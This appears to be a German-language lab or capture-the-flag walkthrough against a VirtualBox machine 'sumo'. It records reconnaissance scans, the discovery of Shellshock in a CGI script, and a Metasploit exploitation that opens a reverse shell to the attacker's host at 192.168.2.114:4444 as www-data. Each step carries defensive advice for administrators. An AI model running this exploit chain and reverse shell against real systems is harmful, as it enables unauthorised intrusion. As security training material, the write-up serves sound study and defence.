192.168.2.123 08:00:27:62:92:9e PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerk (Subnetz) nach aktiven Hosts zu durchsuchen. Er sendet ARP-Anfragen (Address Resolution Protocol) an alle möglichen IP-Adressen im lokalen Netzwerksegment und listet die Antworten auf. Jede Antwort enthält die IP-Adresse und die dazugehörige MAC-Adresse des antwortenden Geräts sowie oft eine Herstellerkennung basierend auf der MAC-Adresse.
Bewertung: Dieser Schritt ist fundamental in der Reconnaissance-Phase, um aktive Ziele im Netzwerk zu identifizieren. Die Ausgabe zeigt einen Host mit der IP-Adresse 192.168.2.123 und der MAC-Adresse 08:00:27:62:92:9e. Die MAC-Adresse deutet auf "PCS Systemtechnik GmbH" hin, was oft mit VirtualBox-Installationen assoziiert wird. Dies ist unser primäres Ziel für die weiteren Scans.
Empfehlung (Pentester): Die identifizierte IP-Adresse (192.168.2.123) sollte für detailliertere Scans (z.B. mit Nmap) verwendet werden. Es ist ratsam, auch andere Tools wie `netdiscover` zu verwenden, um die Ergebnisse zu validieren.
Empfehlung (Admin): Netzwerksegmentierung und ARP-Spoofing-Erkennung können helfen, die Sichtbarkeit von Hosts im Netzwerk zu begrenzen und unautorisierte Scans zu erschweren. Die Verwendung von statischen ARP-Einträgen für kritische Systeme kann ebenfalls erwogen werden.
192.168.2.135 skytower.vln # Eintrag für das Ziel hinzugefügt (im Editor): # 192.168.2.123 sumo.vln
Analyse: Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei im `vi`-Texteditor. Diese Datei wird vom Betriebssystem genutzt, um Hostnamen manuell IP-Adressen zuzuordnen, bevor DNS-Server abgefragt werden. Im Bericht wird impliziert, dass ein Eintrag für das Zielsystem (192.168.2.123) mit einem gewählten Hostnamen (`sumo.vln`) hinzugefügt wird. Der vorherige Eintrag für `skytower.vln` bleibt bestehen.
Bewertung: Das Hinzufügen eines Eintrags zur Hosts-Datei ist eine gängige Praxis während eines Pentests. Es ermöglicht, das Zielsystem über einen leicht merkbaren Namen (`sumo.vln`) anzusprechen, was besonders bei Webanwendungen wichtig ist, die auf virtuelle Hosts reagieren könnten. Dies vereinfacht die spätere Adressierung in Tools und Browsern.
Empfehlung (Pentester): Immer wenn ein Zielsystem über einen Webserver verfügt, ist es sinnvoll, einen Eintrag in der `/etc/hosts` Datei zu erstellen. Dies stellt sicher, dass Anfragen korrekt an den eventuell konfigurierten virtuellen Host gesendet werden. Der gewählte Name sollte relevant sein (hier `sumo.vln`).
Empfehlung (Admin): Die Manipulation der Hosts-Datei ist in der Regel kein Sicherheitsproblem auf dem Angreifer-System. Auf Zielsystemen sollte der Zugriff auf die Hosts-Datei jedoch auf administrative Benutzer beschränkt sein.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-16 02:03 CEST Nmap scan report for sumo.vln (192.168.2.123) Host is up (0.00016s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 06cb9ea3aff01048c417934a2c45d948 (DSA) | 2048 b7c5427bbaae9b9b7190e747b4a4de5a (RSA) |_ 256 fa81cd002d52660b70fcb840fadb1830 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.2.22 (Ubuntu) MAC Address: 08:00:27:62:92:9E (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 2.6.X|3.X S CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 S details: Linux 2.6.32 - 3.5 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.16 ms sumo.vln (192.168.2.123)
Analyse: Dieser Nmap-Befehl führt einen umfassenden Scan des Ziels 192.168.2.123 durch: * `-sS`: Führt einen TCP SYN-Scan (Stealth Scan) durch, der oft weniger auffällig ist als ein voller TCP Connect-Scan. * `-sC`: Führt die Standard-Nmap-Scripting-Engine (NSE) Skripte aus, um zusätzliche Informationen über die erkannten Dienste zu sammeln. * `-sV`: Versucht, die Versionen der laufenden Dienste zu ermitteln. * `-T5`: Setzt das Timing-Template auf "insane", was den Scan beschleunigt, aber potenziell ungenauer oder aufdringlicher sein kann. * `-A`: Aktiviert die Betriebssystemerkennung, Versionserkennung, Skript-Scanning und Traceroute. * `-p-`: Scannt alle 65535 TCP-Ports.
Bewertung: Der Scan identifiziert zwei offene TCP-Ports: * **Port 22:** Läuft OpenSSH Version 5.9p1 (Debian-Variante). Diese Version ist relativ alt und könnte bekannte Schwachstellen aufweisen. Die Host-Schlüssel werden ebenfalls angezeigt. * **Port 80:** Läuft Apache httpd Version 2.2.22 auf Ubuntu. Auch diese Apache-Version ist veraltet und anfällig für bekannte Schwachstellen. Der Titel der Webseite fehlt, was auf eine Standardinstallation oder eine simple Seite hindeutet. Die Betriebssystemerkennung schätzt ein Linux-System mit einem Kernel zwischen 2.6.32 und 3.5. Die MAC-Adresse bestätigt die VirtualBox-Umgebung. Der Scan liefert kritische Informationen über die Angriffsfläche des Systems.
Empfehlung (Pentester): Die identifizierten Dienste (SSH und HTTP) sind die primären Angriffsvektoren. Untersuche bekannte Schwachstellen für OpenSSH 5.9p1 und Apache 2.2.22. Der Fokus sollte zunächst auf dem Webserver (Port 80) liegen, da dieser oft eine größere Angriffsfläche bietet (Webanwendungen, Konfigurationsfehler, CGI-Skripte).
Empfehlung (Admin): Aktualisieren Sie dringend OpenSSH und Apache auf aktuellere, unterstützte Versionen, um bekannte Schwachstellen zu schließen. Konfigurieren Sie SSH sicher (z.B. nur Schlüssel-Authentifizierung, kein Root-Login). Überprüfen und härten Sie die Apache-Konfiguration.
22/tcp open ssh penSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
Analyse: Dieser Befehl wiederholt den vorherigen Nmap-Scan, leitet die Ausgabe jedoch durch den `grep`-Befehl, um nur Zeilen anzuzeigen, die das Wort "open" enthalten. Dies dient dazu, eine schnelle Übersicht über die offenen Ports und die erkannten Dienste zu erhalten.
Bewertung: Die Ausgabe bestätigt prägnant die Ergebnisse des vorherigen Scans: Port 22 (SSH) und Port 80 (HTTP) sind offen. Obwohl diese Information bereits vorhanden war, ist die gefilterte Ansicht nützlich für eine schnelle Zusammenfassung oder wenn die vollständige Nmap-Ausgabe sehr umfangreich ist. Es handelt sich hierbei um eine redundante, aber explizit angeforderte Darstellung.
Empfehlung (Pentester): Die Verwendung von `grep` zur Filterung von Nmap-Ausgaben ist eine nützliche Technik, um schnell relevante Informationen zu extrahieren. Für die eigentliche Analyse sind jedoch oft die Details aus der vollständigen Ausgabe (wie NSE-Skript-Ergebnisse) erforderlich.
Empfehlung (Admin): Keine spezifische Empfehlung für diesen Filterungsbefehl. Die Empfehlungen aus dem vorherigen Nmap-Scan bleiben bestehen.
- Nikto v2.5.0 + Target IP: 192.168.2.123 + Target Hostname: 192.168.2.123 + Target Port: 80 + Start Time: 2023-07-16 02:03:17 (GMT2) + Server: Apache/2.2.22 (Ubuntu) + /: Server may leak inodes via ETags, header found with file /, inode: 1706318, size: 177, mtime: Mon May 11 19:55:10 2020. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /index: Uncommon header 'tcn' found, with contents: list. + /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.html. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275 + /cgi-bin/test: Uncommon header '93e4r0-cve-2014-6278' found, with contents: true. + /cgi-bin/test: Site appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 + /cgi-bin/test.sh: Uncommon header '93e4r0-cve-2014-6271' found, with contents: true. + /cgi-bin/test.sh: Site appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278 + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS . + /cgi-bin/test/test.cgi: This might be interesting. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 8909 requests: 0 error(s) and 14 item(s) reported on remote host + End Time: 2023-07-16 02:03:28 (GMT2) (11 seconds) + 1 host(s) tested
Analyse: Der Befehl `nikto -h 192.168.2.123` startet einen Webserver-Scan gegen das Ziel auf Port 80. Nikto ist ein Scanner, der auf bekannte Web-Schwachstellen, Konfigurationsfehler, interessante Dateien und veraltete Software prüft.
Bewertung: Nikto liefert eine Fülle an wichtigen Informationen und potenziellen Schwachstellen: * **Veralteter Apache (2.2.22):** Bestätigt das Nmap-Ergebnis und unterstreicht das Risiko durch bekannte Schwachstellen. * **Fehlende Security Header:** X-Frame-Options und X-Content-Type-Options fehlen, was zu Clickjacking bzw. MIME-Sniffing führen kann. * **ETag Information Leak (CVE-2003-1418):** Kann unter Umständen Inode-Informationen preisgeben. Geringes Risiko. * **Apache mod_negotiation (MultiViews):** Ermöglicht das Auffinden von Dateien durch Brute-Force von Dateinamen ohne Endung (z.B. `index` findet `index.html`). * **Shellshock Vulnerability (CVE-2014-6271/CVE-2014-6278):** *Dies ist der kritischste Fund.* Nikto identifiziert die Skripte `/cgi-bin/test` und `/cgi-bin/test.sh` als anfällig für die Bash-Shellshock-Schwachstelle. Diese erlaubt die Ausführung von beliebigem Code auf dem Server. Die unüblichen Header (`93e4r0-cve-...`) sind wahrscheinlich Indikatoren, die von Nikto spezifisch zur Erkennung dieser Schwachstelle genutzt werden. * **Interessante Dateien/Pfade:** `/cgi-bin/test/test.cgi`, `/icons/README` (Standarddatei), `/#wp-config.php#` (potenziell sensitive Backup-Datei, obwohl unwahrscheinlich bei Apache). * **Erlaubte HTTP Methoden:** GET, HEAD, POST, OPTIONS.
Empfehlung (Pentester): Die Shellshock-Schwachstelle in `/cgi-bin/test.sh` (oder `/cgi-bin/test`) ist der vielversprechendste Angriffsvektor für den Initial Access. Konzentriere dich darauf, diese Schwachstelle auszunutzen (z.B. mit Metasploit oder manuellen Payloads). Untersuche auch die anderen gefundenen Punkte, aber priorisiere Shellshock.
Empfehlung (Admin): Patchen Sie *sofort* die Bash-Shell, um die Shellshock-Schwachstelle zu beheben (obwohl das System generell veraltet ist). Aktualisieren Sie Apache. Implementieren Sie fehlende Security Header (X-Frame-Options, X-Content-Type-Options). Deaktivieren Sie `mod_negotiation` (MultiViews), wenn nicht zwingend benötigt. Entfernen Sie unnötige CGI-Skripte und Standarddateien wie `/icons/README`.
http://sumo.vln/index (Status: 200) [Size: 177] http://sumo.vln/index.html (Status: 200) [Size: 177]
Analyse: Dieser `gobuster`-Befehl führt ein Verzeichnis- und Datei-Brute-Forcing gegen die Webseite `http://sumo.vln` durch. * `-u`: Gibt die Ziel-URL an. * `-x`: Definiert eine lange Liste von Dateiendungen, nach denen zusätzlich zu den Verzeichnissen gesucht werden soll. * `-w`: Gibt die Wortliste an (`directory-list-2.3-medium.txt` aus SecLists), die für Verzeichnis-/Dateinamen verwendet wird. * `-b '403,404'`: Blendet Ergebnisse mit den HTTP-Statuscodes 403 (Forbidden) und 404 (Not Found) aus. * `-e`: Aktiviert den erweiterten Modus, um die vollständige URL für gefundene Verzeichnisse anzuzeigen. * `--no-error`: Unterdrückt Fehlermeldungen im Output.
Bewertung: Gobuster findet nur `/index` und `/index.html`, die beide denselben Inhalt (Größe 177 Bytes) zurückgeben. Dies bestätigt die Nikto-Erkenntnis bezüglich `mod_negotiation`. Abgesehen von der Standard-Indexseite werden keine weiteren versteckten Verzeichnisse oder Dateien mit dieser Wortliste und den angegebenen Endungen gefunden. Dies legt nahe, dass die Hauptangriffsfläche wahrscheinlich nicht in versteckten Dateien liegt, sondern eher in den bereits identifizierten CGI-Skripten.
Empfehlung (Pentester): Obwohl dieser Scan keine neuen kritischen Pfade aufgedeckt hat, ist Directory Brute-Forcing ein wichtiger Schritt. Versuche eventuell andere Wortlisten (größere, spezifischere) oder Tools (z.B. `feroxbuster`, `ffuf`). Da Shellshock bereits identifiziert wurde, kann die Priorität jedoch darauf gelegt werden.
Empfehlung (Admin): Konfigurieren Sie den Webserver so, dass Verzeichnislistung deaktiviert ist (ist hier wahrscheinlich der Fall, da keine Verzeichnisse außer der Root gefunden wurden). Verwenden Sie keine leicht zu erratenden Verzeichnis- oder Dateinamen. Implementieren Sie Rate Limiting oder Web Application Firewalls (WAFs), um Brute-Force-Scans zu erkennen und zu blockieren.
# Inhalt von http://sumo.vln/index.html (manuell abgerufen oder aus Browser) It works! This is the default web page for this server. The web server software is running but no content has been added, yet.
Analyse: Dieser Block repräsentiert die manuelle Überprüfung des Inhalts der gefundenen `index.html`-Datei. Da Gobuster die Größe (177 Bytes) angezeigt hat, wird hier der tatsächliche Inhalt dargestellt, der typischerweise durch Aufruf der URL im Browser oder mit `curl` ermittelt wird.
Bewertung: Der Inhalt ist die Apache-Standardseite für Ubuntu ("It works!"). Dies bestätigt, dass keine benutzerdefinierte Anwendung direkt im Web-Root bereitgestellt wird und verstärkt die Vermutung, dass interessante Funktionalitäten (wie die CGI-Skripte) in spezifischen Unterverzeichnissen liegen.
Empfehlung (Pentester): Die Standardseite selbst bietet keine Angriffsvektoren. Konzentriere dich auf die zuvor identifizierten Schwachstellen und Pfade (insbesondere `/cgi-bin/`).
Empfehlung (Admin): Ersetzen Sie die Standard-Webseite durch eine benutzerdefinierte Seite oder leiten Sie Anfragen an die eigentliche Anwendung weiter. Das Belassen von Standardseiten kann Angreifern unnötige Informationen über die verwendete Software geben.
END_TIME: Sun Jul 16 02:05:34 2023 DOWNLOADED: 9224 - FOUND: 0
Analyse: Der Befehl `dirb http://sumo.vln -X .php,.txt` startet einen weiteren Directory/File-Scanner, `dirb`. Er verwendet eine Standard-Wortliste und sucht explizit nach Dateien mit den Endungen `.php` und `.txt` (`-X`).
Bewertung: Dirb findet keine zusätzlichen Verzeichnisse oder Dateien mit den angegebenen Endungen. Das Ergebnis `FOUND: 0` bestätigt, dass dieser spezifische Scan keine neuen Erkenntnisse gebracht hat. Dies kann an der verwendeten Standard-Wortliste oder daran liegen, dass einfach keine entsprechenden Dateien existieren.
Empfehlung (Pentester): Es ist gut, mehrere Tools für Directory Brute-Forcing zu verwenden, da sie unterschiedliche Wortlisten und Techniken nutzen können. Da aber weder `gobuster` noch `dirb` signifikante Ergebnisse lieferten (außer der Index-Seite), sollte der Fokus weiterhin auf den bekannten CGI-Skripten liegen.
Empfehlung (Admin): Siehe Empfehlungen zu `gobuster` bezüglich Verzeichnislistung, Rate Limiting und WAFs.
CGI Default !
Analyse: Der Befehl `curl http://192.168.2.123/cgi-bin/test.sh` sendet eine einfache HTTP-GET-Anfrage an das von Nikto als potenziell anfällig identifizierte CGI-Skript `/cgi-bin/test.sh`. `curl` gibt die Antwort des Servers direkt auf der Konsole aus.
Bewertung: Die Ausgabe "CGI Default !" bestätigt, dass das Skript existiert und ausgeführt wird, wenn es über HTTP aufgerufen wird. Dies ist ein weiterer wichtiger Schritt zur Validierung der Shellshock-Anfälligkeit. Da das Skript ohne Fehler ausgeführt wird, ist es ein geeignetes Ziel für den Exploit.
Empfehlung (Pentester): Nachdem bestätigt wurde, dass das Skript erreichbar ist und ausgeführt wird, ist der nächste logische Schritt, die Shellshock-Schwachstelle mit einem Tool wie Metasploit oder einem manuellen Payload über `curl` auszunutzen.
Empfehlung (Admin): Entfernen Sie dieses Test-Skript oder stellen Sie sicher, dass die zugrunde liegende Bash-Version gepatcht ist. Generell sollten nicht benötigte CGI-Skripte vom Webserver entfernt werden.
[... Metasploit Banner ...] =[ metasploit v6.3.21-dev ] + -- --=[ 2327 exploits - 1215 auxiliary - 413 post ] + -- --=[ 1385 payloads - 46 encoders - 11 nops ] + -- --=[ 9 evasion ] Metasploit tip: Adapter names can be used for IP params set LHST eth0 Metasploit Documentation: https://docs.metasploit.com/
Analyse: Der Befehl `msfconsole` startet das Metasploit Framework, eine leistungsstarke Plattform für die Entwicklung, das Testen und die Ausführung von Exploits. Das angezeigte Banner zeigt die Version und die Anzahl der geladenen Module (Exploits, Payloads etc.).
Bewertung: Metasploit ist das Mittel der Wahl, um die zuvor identifizierte Shellshock-Schwachstelle auszunutzen, da es ein dediziertes Modul dafür bereitstellt. Das Starten der Konsole ist der erste Schritt zur Vorbereitung des Angriffs.
Empfehlung (Pentester): Halten Sie Metasploit regelmäßig mit `msfupdate` aktuell, um Zugriff auf die neuesten Exploits und Module zu haben. Machen Sie sich mit den grundlegenden Befehlen (`use`, `show options`, `set`, `run`, `exploit`) vertraut.
Empfehlung (Admin): Intrusion Detection/Prevention Systeme (IDS/IPS) können Signaturen für Metasploit-Aktivitäten erkennen. Netzwerk-Monitoring und Log-Analyse sind wichtig, um Angriffsversuche zu identifizieren.
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
Analyse: Der Befehl `use exploit/multi/http/apache_mod_cgi_bash_env_exec` wählt das Metasploit-Modul aus, das speziell für die Ausnutzung der Shellshock-Schwachstelle (CVE-2014-6271 und CVE-2014-6278) über CGI-Skripte auf Apache-Servern entwickelt wurde. Metasploit wählt automatisch einen Standard-Payload aus, hier `linux/x86/meterpreter/reverse_tcp`.
Bewertung: Die Auswahl des korrekten Exploit-Moduls ist entscheidend. Dieses Modul passt perfekt zu der von Nikto identifizierten Schwachstelle und dem Zielsystem (Apache, CGI-Skript). Der standardmäßig gewählte Meterpreter-Payload ist mächtig, aber wir werden ihn später anpassen.
Empfehlung (Pentester): Verwenden Sie `search shellshock` oder `search cve:2014-6271` in Metasploit, um relevante Module zu finden. Lesen Sie die Modulbeschreibung mit `info`, um die Funktionsweise und Anforderungen zu verstehen.
Empfehlung (Admin): Stellen Sie sicher, dass die Bash-Shell auf allen Systemen gepatcht ist. IDS/IPS-Signaturen für Shellshock-Angriffsversuche sollten aktiviert sein.
Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec): Name Current Setting Required Description ---- --------------- -------- ----------- CMD_MAX_LENGTH 2048 yes CMD max line length CVE CVE-2014-6271 yes CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278) HEADER User-Agent yes HTTP header to use METHOD GET yes HTTP method to use Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPATH /bin yes Target PATH for binaries used by the CmdStager RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI yes Path to CGI script TIMEOUT 5 yes HTTP read response timeout (seconds) URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host When CMDSTAGERFLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (linux/x86/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.114 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Linux x86 View the full module info with the info, or info -d command.
Analyse: Der Befehl `options` (oder `show options`) listet alle konfigurierbaren Parameter für das ausgewählte Exploit-Modul (`apache_mod_cgi_bash_env_exec`) und den aktuell gewählten Payload (`linux/x86/meterpreter/reverse_tcp`) auf. Er zeigt den Namen, die aktuelle Einstellung, ob der Parameter erforderlich ist (`Required`) und eine Beschreibung an.
Bewertung: Diese Ausgabe ist essenziell, um zu sehen, welche Informationen für den Exploit benötigt werden. Wir sehen, dass `RHOSTS` (Ziel-IP) und `TARGETURI` (Pfad zum CGI-Skript) noch nicht gesetzt sind und erforderlich (`yes`). Für den Payload sind `LHOST` (IP-Adresse des Angreifers für die Rückverbindung) und `LPORT` (Port des Angreifers für die Rückverbindung) erforderlich. Metasploit hat `LHOST` oft schon korrekt erraten (hier 192.168.2.114), aber es ist immer gut, dies zu überprüfen.
Empfehlung (Pentester): Überprüfen Sie immer die Optionen, bevor Sie einen Exploit ausführen. Stellen Sie sicher, dass alle erforderlichen Parameter korrekt gesetzt sind, insbesondere `RHOSTS`, `RPORT`, `TARGETURI`, `LHOST` und `LPORT`. Passen Sie die Optionen bei Bedarf mit dem `set`-Befehl an.
Empfehlung (Admin): Diese Optionen zeigen, welche Informationen ein Angreifer benötigt, um einen Exploit erfolgreich zu konfigurieren. Das Verständnis dieser Parameter hilft bei der Entwicklung von Verteidigungsstrategien (z.B. Firewall-Regeln, die Verbindungen zu ungewöhnlichen Ports blockieren).
rhost => 192.168.2.123
rport => 80
targeturi => /cgi-bin/test.sh
Analyse: Mit diesen `set`-Befehlen werden die erforderlichen Optionen für das Exploit-Modul konfiguriert: * `set rhost 192.168.2.123`: Setzt die IP-Adresse des Ziels. * `set rport 80`: Setzt den Zielport (obwohl 80 der Standard war, wird er hier explizit gesetzt). * `set targeturi /cgi-bin/test.sh`: Setzt den Pfad zum anfälligen CGI-Skript, das zuvor mit Nikto und curl identifiziert wurde.
Bewertung: Die Konfiguration des Exploits mit den korrekten Zielinformationen ist abgeschlossen. Das Modul weiß nun, welches System es auf welchem Port und über welches Skript angreifen soll.
Empfehlung (Pentester): Verwenden Sie `show options` erneut, um die gesetzten Werte zu überprüfen. Stellen Sie sicher, dass keine Tippfehler vorhanden sind.
Empfehlung (Admin): Überwachen Sie Webserver-Logs auf Anfragen an bekannte anfällige Pfade wie `/cgi-bin/`. Ungewöhnliche Muster oder Anfragen an solche Endpunkte können auf einen Angriffsversuch hindeuten.
Compatible Payloads =================== # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- [...] 33 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline [...]
Analyse: Der Befehl `show payloads` listet alle Payloads auf, die mit dem aktuell ausgewählten Exploit-Modul (`exploit/multi/http/apache_mod_cgi_bash_env_exec`) kompatibel sind. Payloads definieren, was nach erfolgreicher Ausnutzung der Schwachstelle auf dem Zielsystem geschehen soll (z.B. eine Shell öffnen, einen Meterpreter starten).
Bewertung: Die Liste zeigt verschiedene Optionen. Der Pentester entscheidet sich im nächsten Schritt für `linux/x86/shell/reverse_tcp`. Dies ist eine einfachere Alternative zum standardmäßig gewählten Meterpreter und öffnet eine direkte Kommandozeilen-Shell auf dem Zielsystem, die sich zurück zum Angreifer verbindet. Dies kann manchmal stabiler sein oder bevorzugt werden, wenn keine erweiterten Meterpreter-Funktionen benötigt werden.
Empfehlung (Pentester): Wählen Sie den Payload basierend auf dem Zielsystem und den gewünschten Aktionen aus. Meterpreter bietet mehr Funktionalität, während eine einfache Shell (`shell_reverse_tcp`) weniger komplex ist. Berücksichtigen Sie auch die Architektur (x86 vs. x64).
Empfehlung (Admin): Firewall-Regeln sollten ausgehende Verbindungen vom Server nur zu bekannten und notwendigen Zielen erlauben. Das Blockieren unbekannter ausgehender Verbindungen kann Reverse-Shell-Payloads verhindern oder erschweren.
payload => linux/x86/shell/reverse_tcp
Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec): [... unveränderte Exploit-Optionen ...] Payload options (linux/x86/shell/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.114 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: [... unverändert ...]
LHST => 192.168.2.114
LPORT => 4444
Analyse: Zuerst wird mit `set payload linux/x86/shell/reverse_tcp` der gewünschte Payload ausgewählt. Anschließend werden mit `options` die nun relevanten Payload-Optionen angezeigt. Schließlich werden `LHOST` (die IP des Angreifers) und `LPORT` (der Port, auf dem der Angreifer auf die eingehende Shell wartet) explizit auf `192.168.2.114` bzw. `4444` gesetzt (auch wenn sie möglicherweise schon korrekt waren).
Bewertung: Der Wechsel zu einer einfachen Reverse Shell und die explizite Konfiguration der Listener-Parameter (`LHOST`, `LPORT`) sind abgeschlossen. Alle notwendigen Einstellungen für den Exploit und den Payload sind nun vorgenommen.
Empfehlung (Pentester): Stellen Sie sicher, dass die angegebene `LHOST`-IP von Zielsystem aus erreichbar ist (keine Firewall dazwischen, die die Verbindung blockiert). Wählen Sie einen `LPORT`, der auf dem Angreifer-System verfügbar ist und idealerweise nicht von lokalen Diensten oder Firewalls blockiert wird.
Empfehlung (Admin): Egress-Filterung (Kontrolle ausgehenden Netzwerkverkehrs) ist entscheidend. Blockieren Sie ausgehende Verbindungen zu nicht autorisierten IP-Adressen und Ports. Überwachen Sie Netzwerkverkehr auf ungewöhnliche Verbindungen, die auf eine Reverse Shell hindeuten könnten.
[+] 192.168.2.123:80 - The target is vulnerable.
Analyse: Der `check`-Befehl versucht, die Schwachstelle auf dem Zielsystem zu überprüfen, ohne den eigentlichen Payload auszuführen. Viele Metasploit-Module implementieren eine solche Check-Funktion.
Bewertung: Die Ausgabe `[+] 192.168.2.123:80 - The target is vulnerable.` bestätigt, dass das Modul die Shellshock-Schwachstelle auf dem Ziel erfolgreich erkannt hat. Dies gibt eine hohe Sicherheit, dass der anschließende `run`-Befehl erfolgreich sein wird.
Empfehlung (Pentester): Führen Sie nach Möglichkeit immer `check` aus, bevor Sie `run` oder `exploit` verwenden. Dies kann unnötige Fehlversuche oder das Auslösen von Alarmen verhindern, falls das Ziel doch nicht anfällig ist.
Empfehlung (Admin): Auch fehlgeschlagene Check-Versuche können in Logs auftauchen und sollten untersucht werden. Die Erkennungsmuster von IDS/IPS sollten auch die von `check`-Funktionen verwendeten Techniken abdecken.
[*] Started reverse TCP handler on 192.168.2.114:4444 [*] Command Stager progress - 100.00% done (1092/1092 bytes) [*] Sending stage (36 bytes) to 192.168.2.123 [*] Command shell session 1 opened (192.168.2.114:4444 -> 192.168.2.123:56800) at 2023-07-16 02:13:20 +0200 id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Der Befehl `run` (oder `exploit`) startet den eigentlichen Angriff. Metasploit führt folgende Schritte aus: 1. Startet einen Listener (`reverse TCP handler`) auf der lokalen Maschine (192.168.2.114:4444), um die eingehende Verbindung der Shell abzufangen. 2. Sendet den Exploit-Code an das Ziel-CGI-Skript (`/cgi-bin/test.sh` auf 192.168.2.123). Dieser Code nutzt die Shellshock-Schwachstelle aus. 3. Der Exploit bringt das Zielsystem dazu, eine Verbindung zurück zum Listener aufzubauen. 4. Sobald die Verbindung etabliert ist (`Command shell session 1 opened`), wird eine interaktive Shell bereitgestellt. 5. Der `id`-Befehl wird automatisch ausgeführt (oder vom Pentester unmittelbar danach eingegeben), um die Benutzeridentität auf dem kompromittierten System zu überprüfen.
Bewertung: Der Angriff war erfolgreich! Die Ausgabe `Command shell session 1 opened` signalisiert, dass eine Verbindung hergestellt wurde. Der `id`-Befehl bestätigt, dass wir nun Code auf dem Zielsystem als Benutzer `www-data` (UID 33, GID 33) ausführen können. Dies ist der Benutzer, unter dem der Apache-Webserver läuft – ein typisches Ergebnis nach der Ausnutzung einer Webserver-Schwachstelle. Der Initial Access ist somit gelungen.
Empfehlung (Pentester): Stabilisieren Sie die Shell, falls nötig (z.B. mit Python PTY `python -c 'import pty; pty.spawn("/bin/bash")'`). Beginnen Sie sofort mit der Post-Exploitation-Phase: Sammeln Sie Informationen über das System (`uname -a`, `cat /etc/issue`, `ps aux`, `netstat -tulnp`), suchen Sie nach Benutzerdaten, Konfigurationsdateien und potenziellen Wegen zur Privilegieneskalation.
Empfehlung (Admin): Dieser erfolgreiche Exploit unterstreicht die Dringlichkeit des Patchens der Shellshock-Schwachstelle und der Aktualisierung des Webservers. Implementieren Sie Egress-Filterung und überwachen Sie ausgehende Verbindungen. Analysieren Sie Webserver-Logs, um den genauen Angriffszeitpunkt und -vektor nachzuvollziehen.
Nachdem der initiale Zugriff als `www-data`-Benutzer erlangt wurde, beginnt die Phase der Privilegieneskalation. Das Ziel ist es, Root-Rechte auf dem System zu erlangen. Dies erfordert eine gründliche Untersuchung des Systems auf Fehlkonfigurationen, Schwachstellen oder ausnutzbare Programme.
